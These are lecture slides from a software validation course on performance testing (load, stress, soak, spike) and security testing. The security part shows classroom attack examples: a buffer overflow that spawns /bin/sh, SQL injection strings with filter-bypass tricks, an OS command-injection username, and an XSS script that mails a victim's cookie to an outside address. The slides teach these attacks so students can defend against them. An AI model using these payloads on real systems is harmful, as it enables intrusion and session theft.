CS5123 Software Validation and Quality Assurance Lecture 7 Non-Functional Testing

Non-Functional Testing Performance Testing Test whether the efficiency (time and space) of a software meets requirements Security Testing Test whether the software is vulnerable to attacks (special invalid inputs designed to control the software or reveal info from the software) 2

Performance Testing Load Testing Soak Testing Stress Testing Spike Testing 3

Input loads 4 Size of inputs Number of inputs provided An extremely long SQL query An extremely large html file for a browser Number of inputs provided Number of students supported in a school management system Number of web pages opened in a browser Frequency of inputs provided Number of SQL queries made per second Number of Http requests made per second 4

Performance Measures Input Lag Response Time Throughput 5

Performance Measures 6

Load Testing Provide input under the maximal designed load of software and observe behavior Purpose: See whether the software works normally Find potential bottlenecks of performance: Profiling Instrument each major component (e.g., method) to see how much time / memory is spent on it Sampling is sometimes used to reduce overhead 7

Load Testing 8 Test steps Determine the content of inputs Usually can be a large amount of identical or similar inputs The input can be simple or very complex (to check the performance of software when handling complex input) Determine the frequency of input feeding Determine how long the input feeding lasts Design Load Input Load 8 time

Input feeding A multi thread program to feed inputs randomly in a given period of time Sometimes require multiple machines to feed inputs Usually only consider valid inputs 9

Stress Testing Provide input OVER the maximal designed load of software and observe behavior The software is expected to fail Purpose: Observe when (how much load) the software is going to fail Observe the how the failure looks like: crash? CPU or memory used up? Can be recovered or not? Observe whether the system can partially work when failure happens 10

Stress Testing Illustration Design Load Input Load time 11

Soak Testing Provide heavy input load (slightly under designed maximal load) for a long time Purpose: Testing for how long time the software can work normally under heavy input load Usually memory and disk oriented Observe the memory / disk usage trend (abnormal increase in the usage) 12

Soak Testing Illustration Design Load Input Load time 13

Spike Testing Provide extremely heavy input load (OVER designed maximal load) for a very short time Purpose: Test how the software can handle a input load burst Probable expected behavior: Temporarily refuse inputs that cannot be handled Provide some temporary services for the inputs to wait until the burst ends 14

Spike Testing Illustration Design Load Input Load time 15

Performance Diagnosis Find out why performance problems happen Figure out how to optimize software to achieve higher performance 16

Profilers 17

Memory Profilers 18

Performance Testing: Review Load Testing Stress Testing Soak Testing Spike Testing 19

Tools for Test Measurement EclEmma Update site: http://update.eclemma.org/ Install in eclipse Setup coverage configuration: do not check the test folder Run test using Emma coverage as… Read test coverage Enhance test coverage 20

Tools for Test Measurement VisualVM http://visualvm.java.net Start VisualVM Start a Java software Open the tab for the process Do profiler for memory and computation 21

Demo Usage of JMeter to perform load testing for web application and databases 22

Security Testing 23 Major security concerns Vulnerabilities Penetration Testing 23

Major Security Concerns Undermine usability DOS attacks Peculiar inputs causing crashes, bloats, … Information Leaking SQL Injection, Cross-site Scripting, unencrypted data, side channels, … Command and Control OS Injection, Cross-site Scripting, Return Oriented Programming, … 24

Vulnerabilities 25 Avoid common vulnerabilities Buffer Overflow Injection Cross-Site Scripting 25

Buffer Overflow 26 Quite many languages (C, C++) are memory unsafe You define a buffer, and it is your responsibility to keep your data in the buffer If you read or write to the place out of a buffer Semantic errors Crashes What else? Anything related to security? char buffer[12]; 26

Review of OS course: call stacks Function calls are traced by call stacks int main(int argc, char args**){ int result; if(argc >= 1){f(args[0]);} } void f(char* data){ char buffer[12]; strcpy(buffer, data) if(g()){return;} else{…} bool g(){ ... g f f f main main main main

Call stack of the function f The local variable buffer The parameter data The return address to go back to the call-site at main function char[12] buffer

Feed in a valid input Example “username” char[12] buffer

Feed in an invalid input Example “usernameusername” The parameter data is covered So it is no longer usable The return value is covered So can not return normally Still just a bug Minor security problem Undermines usability char[12] buffer

Feed in a malicious input Idea to do the trick Feed in an input with 20 chars Cover the return address f() will return to the code we Specify Consider the program is on a server, accessing user requests How to make it possible? Where to put the code? How to specify the return value to our code? char[12] buffer

Feed in a malicious input Use the buffer itself to store the code Set the return value to the buffer address Example Run exec(“/bin/sh”) to open a shell Translate to machine code char[12] buffer mov $a0 15 mov $a1 data syscall data: /, b, i, n, /, s, h 0x20, 0x42, 0x00, ...

Feed in a malicious input Other issues How to know the address of buffer[]: Programs are executed in virtual memory, so install the software and check memory state Buffer is too small to hold your code? Jump through return value to the stack frame of parent function char[12] buffer

The state of practice Buffer overflow is very common in C / C++ programs About 50% of new attacks are related to buffer overflow Known bugs are being exploited from time to time 34

How to deal with buffer overflow Boundary check for input-reachable buffers Not so easy in practice Check too many places: slow the software down Check too few places: buffer overflow risk Automatic supports Buffer Overflow Detection: libsafe, stackguard, … Runtime protection: weak memory safe Runtime protection: split stack 35

A real-world example If you are interested Here is a real world example: https://www.rcesecurity.com/2011/11/buffer-overflow-a-real-world-example/ 36

Injection 37 Directly inject user input into code to be executed SQL Injection Inject code to SQL queries OS Injection Inject code to OS commands 37

SQL Injection 38 An example A student information system You can query your grade for certain course, year, … You login to your session, and say you are going to search for the grade of “CS5123” What does the server do? 38

SQL Injection 39 The malicious Input We want to inject code into the SQL query Say we want it to be “select * from Grade” It is the same with “select * from Grade where username = ‘you’ and course = ‘CS5123’ or ‘a’ = ‘a’” 39

OS Injection 40 Quite Similar Consider a server is going to make a dir for you as a new user, and it will execute exec(“mkdir path/to/” + username) What username you should make up? An example: HahaGotyou | \bin\sh 40

Injection Protection Injection works by passing user inputs into back-end engines Can we simply cut off the path? Definitely NO We have to do some filtering We are going to work on the example: select * from Grade where username = ‘you’ and course = ‘CS4723’/**/or/**/‘a’=‘a’ 41

User Input Filtering What to filter? 42 or ? => “oorr” can bypass it Space? => use /**/ can bypass it Quotes? A little bit difficult, we can search by year, and use year = 2009 or 1=1 Want more? See select * from Grade where username = ‘you’ and course = ‘CS4723’ or ‘a’ = ‘a’ http://websec.wordpress.com/2010/03/19/exploiting-hard-filtered-sql-injections/ 42

User Input Filtering: Other Issues Functioning of the software Filter ‘or’ will affect username ‘George’ Cannot filter space when space is allowed for the field Other string manipulations In web applications, there are HTML/URL escape characters &quot for “, &#39 for ‘, &nbsp / %20 for space, … Replacing escaping characters are common So &#39 may be used if quotes are disabled… Always be clear about how user inputs flows in your code 43

Cross Site Scripting One of the most popular attacks to web applications Everything is about where the input goes to This time it goes to a web page This becomes more popular with so-called web 2.0 (let users do the work, e.g., wiki, youtube, blogs) 44

XSS: Scenario 45

Example Bob wants to get all the login information of his friends in a social network So Bob writes a blog, in the blog, he writes: xxxxxxx, xxxx, <script>email(“bob@gmail.com”, getcookie())</script> Now Mary reads the blog, so the script runs, Bob will get the cookie, and will be able to login with Mary’s cookie… 46

Protection against XSS Limit the usage of cookies: may result in much inconvenience Quite similar to SQL Injection Try to filter dangerous things such as “<script>” from user’s input Also quite similar to SQL Injection There are a lot of ways to bypass the filtering, so always hard to do a correct filtering Even harder because HTML is more complex than SQL, and much more web page generations than database query points… 47

Core idea: Devil inputs Software Security is almost all about the malicious inputs Buffer Overflow, Injection, and XSS accounts for 70% to 80% of attacks each year… Also for DOS (Denial of Service) attacks An example: you may want to filter ‘\’ for security reasons, but if so, handling a input like ‘\\\....\\\\’ with n ‘\’s will take n2 CPU time… Consider all possible values of user inputs Never make assumptions to user inputs 48

Penetration Testing Random testing (or fuzzing) is often useful for security testing, because it can generate inputs that you cannot imagine Have security checks during the testing Buffer Overflow: whether any “out of boundary” happens Use boundary checker in testing, and disable them in distribution SQL Injection & XSS: whether user inputs reach syntax tree part of the HTML or SQL code Use taints during testing to track the user inputs along the execution 49

Review of Non-Functional Testing Performance Testing Test whether the efficiency (time and space) of a software meets requirements Security Testing Test whether the software is vulnerable to attacks (special invalid inputs designed to control the software or reveal info from the software) 50